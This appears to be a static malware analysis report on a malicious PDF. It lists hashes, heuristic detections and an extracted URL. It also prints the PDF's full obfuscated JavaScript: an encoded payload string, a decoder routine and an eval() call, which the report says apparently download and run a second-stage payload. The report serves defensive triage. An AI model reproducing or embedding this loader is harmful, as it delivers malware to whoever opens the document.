Malicious PDF — malware analysis report

Static analysis result for SHA-256 a026883ff75d190e…

MALICIOUS

PDF

4.0 KB First seen: 2026-05-11
MD5: db4dbb2e8776248737e8202c43506383 SHA-1: 8e9e97fff480afcbd9c1252cc6c3de243a5f6c92 SHA-256: a026883ff75d190ef0bd4cf9433a37be24f044d78507d1f359073ffc2e143bd7
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1027 Obfuscated Files or Information

The PDF file contains embedded JavaScript, flagged by multiple heuristics including PDF_JAVASCRIPT, PDF_JS, and PDF_EVAL. The ML classifier strongly indicates maliciousness. The JavaScript appears obfuscated, making its exact function difficult to determine, but the presence of eval() and String.fromCharCode() suggests dynamic code execution. The primary intent seems to be downloading and executing a second-stage payload, though the specific mechanism is obscured.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    stream
eval(bzhva3);
endstream
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://d2F.QK/N/a Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js pdf-javascript-stream PDF /JS object 9 at offset 0x1EC 2610 bytes
SHA-256: 63332bbeb2f9b35ff3ba07e0a272449d17a1d18c261dc674c3cb1b726262d96d
Preview script
First 1,000 lines of the extracted script
dvyogt8="0F1-1]1f2Z1d2d1b3]1`2h1^3?3Q1X1Y2J2]1<1U3L1M1P1Q3f3h1N3.3;1E1H1I33351F2W2Y1?1B3T1@3E3G1=3A3I1819273X1013142L2T112U2V1.383b0^1*3`0i2^0e0f3R3Y0c3a0a3[0_2g3+0Q0Z3K0T0W3_0U3S3c0R2f3V0O3M0K0L242R0I3^0G2X3-000=0B2O0@2b0>3Z3d090:2[2_073P053N032S0131370,0-2`3O0*2a2c";htfoerd="A602ZBDFJcKb=gLj00C8hY7MM]]1A70SDG3CTD^IDPMaGJ^eBhNEeGY0Jcg2:j@7=I<9Ca-9SQdYS_ID5,1NK<5cMI=Wc_11K,.38ZCh6:h-L=V0I=7MMZK-<FH.38ZCh6:F<GJ^eCiI2BiD-7;_IHJH]7h8N7VKE^Bcg2:E@L-1<=V0I=7MMZ_Q1K,7?L9@==9`]`^gjU@fGKMg9e_7K]_fH7+[c:K,5P-.PC8b@VX282KbA^P=Dh9.3LV,.ZX>K6OQ:JQCN2*Eg2**.3OZ+,EGeR;?*XK8Tc2<R*T.OeJK96+_2-TK,<-^2;O`1:O:g]._Z9K96*>2TW:K4Kh_3dNQ:LQ?,.]@G,CSPZJ*/2:4*.2CEGK*SAB:**2=E+<.XfIK**4:P@*2=[CV3h7C,CULZJ*/2=,J.3cGg2**.3DZ+,?_@:J*/2=[*.3h7C,CULZJ*/2;?*,.,OXK9BcV2U+8K*5]R:**2<[QK,<T*:Qi1:LL_G,DCAR;bEV2RR?K9.*:Q_`N3A1/K**,ZP/*2:@@W,+=,ZJ**:PVg>2cY_K*5J:J**:P+KB:@@W,+=8K***K*-P:J+^2=@H4.FAe:J>^B:**2=[B@.iPVK3HcV2**@.ZR+,*16K5JWD.-8C,D^[:MLj<.,PE,**+,@WKB=0,].**S,H2*K9SU2=7F@.**S,B>*K9-YK***K5@*2<XL].**S,H2*K9SU2=7F@.**S,4R*:J>W_3f1/K/B3_2+Ha.**,.VCc:NTJ.3jK_2RW1:PP?e.Gaf,44/B=[*.3h7C,?[[B:**V3K:,./OU:J>ZV2**.3U9/,85h2:,c.2**.3JB@./OU:J>^R:**2:*dN2*F].`QLK1/iN2/6a.**,.g@/K9SU2;Q85,**/K64*:J+^2<c5@K*^P:PVg>2cY_K*SPZJ**:OUB@.[JVK**4:JUJ,.]aA:P6^B=-6/,8?QZJ**:J**:J**:J**:J**:J**:J**:J**:QC@>3OC?K8Xf2=*N.34Y>K4_fc<UJ,.eQ@K4XeV3[H/,G<;B<:S/K*,W2=VU4.Z3?K8W2V3@Q4K8U`B=VN@.NT<R=3*.3ag4.OhFK8?a:KKJ+,@5cR<_Y/,8+::NVCV2>?UR=[@O,4SB>2CUJK*+=R:**2:^*?,*@KN2**.2]fXK9Z/:J/RC,**+,<-^2=`<i.Rdb:KP*T.*W-2:**2:]ffR:,_W,**+,*SO_3:^gK**,ZM-*,.+=5R<KQd,**/K6**K0A66K9Z/:J/RC,**+,CU-2<c[?2=8CG,IJ4K*5:].**,.GbLK5SH4.Vf4:M8VT.OA+:PD/B==4TK6b;:O`+4K*?R:KCIN2**@.?:*K+GER;ObG,D-T:J4*V3<bd,**/K9.*:M5QG,IJ4K*5:].**,._[]R:*R.2**.2**.2**.2**.2**.2**.2**.3cJ,.RCi:J*+B=8*2=I]>3DaI,@WD_3PdD.,M-2=ZGV2BBUB:,]U,EGSN3P8?,?GKB<WTb:KGUV3?`DZJ+?_3KF].U@UR<>XW,FfWK8S`R=4h@.Ub@K8GZR<W8].N*+,Gb?K3+52:Xh@.OjC,*1C,<5]R<<XS,/bYK8i::J+22<?Hi.N.TZKE4C,GF@_3`8/,F5UR=Vfc=T<5,GAQ:Q,NT.d;GK8Xe_3ZLaK/+aZQ85D.N+GK3+bZQ,?D.?]UR::*+cY7MMZK,.A602V7dHZ*I^cJcN^3ae`O^gb_e9W/K-]:UBcg2:K/^+L7h8N1.+UT***.7RM`BE]hJ*jQ[-_:0WAbP[[c:K,5P-.QB6iP282KbA^P=Dh9.22++,,*:1Lga89,.2<GJ^eBJcOPSU7hTD9Ca-9SMa;YSaga89,.2;FZBNa5gb-Cf5.1.HJ`Jc1*c1.7RJ7G:**,g:a]*``***0[[c:K,@@M.HUP-.A5^M@DKG8:F:0[/]gc`PRA=NA[3VAdX0^a@E.A5^M@DKG8:h1ROc_11K,.2:M+KS^G5Od[U7:XQ7a:F<GJ^eBKe36]GXWCFa89,.2:_Q1K,.2XB6;R9AeZi6YMgJcL1GI8C7U_g:*M[HE11K,.2IU0SYS1U:HY`KgCI1fgb_e9W/K/g:0XR*/dR9AeZi6YMgKe1.D-`iV9M5cjE11K,.2_1UhBI0A[i:F:g1^gH,1RM:HY`KgCI1fBcg2:K0==9`]`^gjU@fGKMg9e_7K]_ehD-`iV9M5cjY7MMZK-<";bmcsiog4=2757;function brdme(hoypjpc3){if(hoypjpc3>92)hoypjpc3--;return hoypjpc3-42}bmkzarf8=new Array();
javascript_obj0010_001.js pdf-javascript-stream PDF /JS object 10 at offset 0xC56 545 bytes
SHA-256: 856bb141e3177baa25367ab4ff132d08f59329d0cc1854a7bba8741a5ffa348e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function GetCode(arg){var ar=String.fromCharCode(arg,131,130).split('');var an=ar.pop();var an=ar.pop();return ar.join('');}while(dvyogt8.length){bmkzarf8.push((brdme(dvyogt8.charCodeAt(0))<<(4+2))+brdme(dvyogt8.charCodeAt(1))-(500+12));dvyogt8=dvyogt8.slice(2,dvyogt8.length)}askoytc=drjzbq=dvyogt8=0;bzhva3='';function ypanbm(){if(dvyogt8==0){drjzbq=brdme(htfoerd.charCodeAt(askoytc++));dvyogt8=6;}return ((drjzbq>>--dvyogt8)&0x01);}while(bmcsiog4--){i=0;while(bmkzarf8[i]<0){if(ypanbm())i=-bmkzarf8[i];else i++;}bzhva3+=GetCode(bmkzarf8[i]);}
javascript_obj0009_003.js pdf-javascript-stream PDF /JS object 9 at offset 0x210 3603 bytes
SHA-256: f6f8bf22657f4fe398d647618b8c12c449128d0c8f48b77c2c92c0baac95760c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
dvyogt8="0F1-1]1f2Z1d2d1b3]1`2h1^3?3Q1X1Y2J2]1<1U3L1M1P1Q3f3h1N3.3;1E1H1I33351F2W2Y1?1B3T1@3E3G1=3A3I1819273X1013142L2T112U2V1.383b0^1*3`0i2^0e0f3R3Y0c3a0a3[0_2g3+0Q0Z3K0T0W3_0U3S3c0R2f3V0O3M0K0L242R0I3^0G2X3-000=0B2O0@2b0>3Z3d090:2[2_073P053N032S0131370,0-2`3O0*2a2c";htfoerd="A602ZBDFJcKb=gLj00C8hY7MM]]1A70SDG3CTD^IDPMaGJ^eBhNEeGY0Jcg2:j@7=I<9Ca-9SQdYS_ID5,1NK<5cMI=Wc_11K,.38ZCh6:h-L=V0I=7MMZK-<FH.38ZCh6:F<GJ^eCiI2BiD-7;_IHJH]7h8N7VKE^Bcg2:E@L-1<=V0I=7MMZ_Q1K,7?L9@==9`]`^gjU@fGKMg9e_7K]_fH7+[c:K,5P-.PC8b@VX282KbA^P=Dh9.3LV,.ZX>K6OQ:JQCN2*Eg2**.3OZ+,EGeR;?*XK8Tc2<R*T.OeJK96+_2-TK,<-^2;O`1:O:g]._Z9K96*>2TW:K4Kh_3dNQ:LQ?,.]@G,CSPZJ*/2:4*.2CEGK*SAB:**2=E+<.XfIK**4:P@*2=[CV3h7C,CULZJ*/2=,J.3cGg2**.3DZ+,?_@:J*/2=[*.3h7C,CULZJ*/2;?*,.,OXK9BcV2U+8K*5]R:**2<[QK,<T*:Qi1:LL_G,DCAR;bEV2RR?K9.*:Q_`N3A1/K**,ZP/*2:@@W,+=,ZJ**:PVg>2cY_K*5J:J**:P+KB:@@W,+=8K***K*-P:J+^2=@H4.FAe:J>^B:**2=[B@.iPVK3HcV2**@.ZR+,*16K5JWD.-8C,D^[:MLj<.,PE,**+,@WKB=0,].**S,H2*K9SU2=7F@.**S,B>*K9-YK***K5@*2<XL].**S,H2*K9SU2=7F@.**S,4R*:J>W_3f1/K/B3_2+Ha.**,.VCc:NTJ.3jK_2RW1:PP?e.Gaf,44/B=[*.3h7C,?[[B:**V3K:,./OU:J>ZV2**.3U9/,85h2:,c.2**.3JB@./OU:J>^R:**2:*dN2*F].`QLK1/iN2/6a.**,.g@/K9SU2;Q85,**/K64*:J+^2<c5@K*^P:PVg>2cY_K*SPZJ**:OUB@.[JVK**4:JUJ,.]aA:P6^B=-6/,8?QZJ**:J**:J**:J**:J**:J**:J**:J**:QC@>3OC?K8Xf2=*N.34Y>K4_fc<UJ,.eQ@K4XeV3[H/,G<;B<:S/K*,W2=VU4.Z3?K8W2V3@Q4K8U`B=VN@.NT<R=3*.3ag4.OhFK8?a:KKJ+,@5cR<_Y/,8+::NVCV2>?UR=[@O,4SB>2CUJK*+=R:**2:^*?,*@KN2**.2]fXK9Z/:J/RC,**+,<-^2=`<i.Rdb:KP*T.*W-2:**2:]ffR:,_W,**+,*SO_3:^gK**,ZM-*,.+=5R<KQd,**/K6**K0A66K9Z/:J/RC,**+,CU-2<c[?2=8CG,IJ4K*5:].**,.GbLK5SH4.Vf4:M8VT.OA+:PD/B==4TK6b;:O`+4K*?R:KCIN2**@.?:*K+GER;ObG,D-T:J4*V3<bd,**/K9.*:M5QG,IJ4K*5:].**,._[]R:*R.2**.2**.2**.2**.2**.2**.2**.3cJ,.RCi:J*+B=8*2=I]>3DaI,@WD_3PdD.,M-2=ZGV2BBUB:,]U,EGSN3P8?,?GKB<WTb:KGUV3?`DZJ+?_3KF].U@UR<>XW,FfWK8S`R=4h@.Ub@K8GZR<W8].N*+,Gb?K3+52:Xh@.OjC,*1C,<5]R<<XS,/bYK8i::J+22<?Hi.N.TZKE4C,GF@_3`8/,F5UR=Vfc=T<5,GAQ:Q,NT.d;GK8Xe_3ZLaK/+aZQ85D.N+GK3+bZQ,?D.?]UR::*+cY7MMZK,.A602V7dHZ*I^cJcN^3ae`O^gb_e9W/K-]:UBcg2:K/^+L7h8N1.+UT***.7RM`BE]hJ*jQ[-_:0WAbP[[c:K,5P-.QB6iP282KbA^P=Dh9.22++,,*:1Lga89,.2<GJ^eBJcOPSU7hTD9Ca-9SMa;YSaga89,.2;FZBNa5gb-Cf5.1.HJ`Jc1*c1.7RJ7G:**,g:a]*``***0[[c:K,@@M.HUP-.A5^M@DKG8:F:0[/]gc`PRA=NA[3VAdX0^a@E.A5^M@DKG8:h1ROc_11K,.2:M+KS^G5Od[U7:XQ7a:F<GJ^eBKe36]GXWCFa89,.2:_Q1K,.2XB6;R9AeZi6YMgJcL1GI8C7U_g:*M[HE11K,.2IU0SYS1U:HY`KgCI1fgb_e9W/K/g:0XR*/dR9AeZi6YMgKe1.D-`iV9M5cjE11K,.2_1UhBI0A[i:F:g1^gH,1RM:HY`KgCI1fBcg2:K0==9`]`^gjU@fGKMg9e_7K]_ehD-`iV9M5cjY7MMZK-<";bmcsiog4=2757;function brdme(hoypjpc3){if(hoypjpc3>92)hoypjpc3--;return hoypjpc3-42}bmkzarf8=new Array();
endstream 
endobj 
10 0 obj << /Length 545 >> 
stream
function GetCode(arg){var ar=String.fromCharCode(arg,131,130).split('');var an=ar.pop();var an=ar.pop();return ar.join('');}while(dvyogt8.length){bmkzarf8.push((brdme(dvyogt8.charCodeAt(0))<<(4+2))+brdme(dvyogt8.charCodeAt(1))-(500+12));dvyogt8=dvyogt8.slice(2,dvyogt8.length)}askoytc=drjzbq=dvyogt8=0;bzhva3='';function ypanbm(){if(dvyogt8==0){drjzbq=brdme(htfoerd.charCodeAt(askoytc++));dvyogt8=6;}return ((drjzbq>>--dvyogt8)&0x01);}while(bmcsiog4--){i=0;while(bmkzarf8[i]<0){if(ypanbm())i=-bmkzarf8[i];else i++;}bzhva3+=GetCode(bmkzarf8[i]);}
endstream 
endobj 
11 0 obj 
<< /Length 13 >>
stream
eval(bzhva3);
endstream 
endobj xref
0 12
0000000000 65535 f 
0000000015 00000 n 
0000000138 00000 n 
0000000079 00000 n 
0000000179 00000 n 
0000000284 00000 n 
0000000346 00000 n 
0000000394 00000 n 
0000000443 00000 n 
0000000492 00000 n 
0000003157 00000 n 
0000003757 00000 n 
trailer

<< /Root 1 0 R /Size 12 >>
startxref
3823
%%EOF

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